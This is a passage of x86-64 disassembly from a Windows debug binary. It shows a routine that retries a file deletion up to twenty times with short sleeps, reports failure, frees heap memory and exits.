mov rcx, qword [rbp + 0x1218]
call fcn.1400114bf
mov eax, dword [rbp + 0x12d4]
mov r9d, 1
lea r8, [rbp + 0x3600]
mov edx, eax
mov rcx, qword [rbp + 0x1238]
call fcn.1400114bf
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140011285
mov edx, 1
mov rcx, qword [rbp + 0x1328]
call fcn.1400113fc
cmp dword [rbp + 0x1340], 0
je 0x14001540f
mov dword [rbp + 0x1464], 0
jmp 0x1400153c4
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x1400153f3
mov edx, 1
mov rcx, qword [rbp + 0x1318]
call fcn.1400113fc
test eax, eax
je 0x1400153e6
jmp 0x1400153f3
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400153b6
cmp dword [rbp + 0x1464], 0x14
jne 0x14001540f
mov rdx, qword [rbp + 0x1318]
lea rcx, str.____Failed_to_Delete__s_n
call fcn.140011253
cmp qword [rbp + 0x1258], 0
je 0x140015431
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1258]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x11f8], 0
je 0x140015453
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x11f8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1218], 0
je 0x140015475
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1218]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1238], 0
je 0x140015497
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1238]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x1318]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1320]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1328]
call qword [sym.imp.ucrtbased.dll_free]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x1400154cd
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140021bb0]
call fcn.14001145b
mov rax, rdi
mov rcx, qword [rbp + 0x3d90]
xor rcx, rbp
call fcn.14001126c
lea rsp, [rbp + 0x3da0]
pop rdi
pop rsi
pop rbp
ret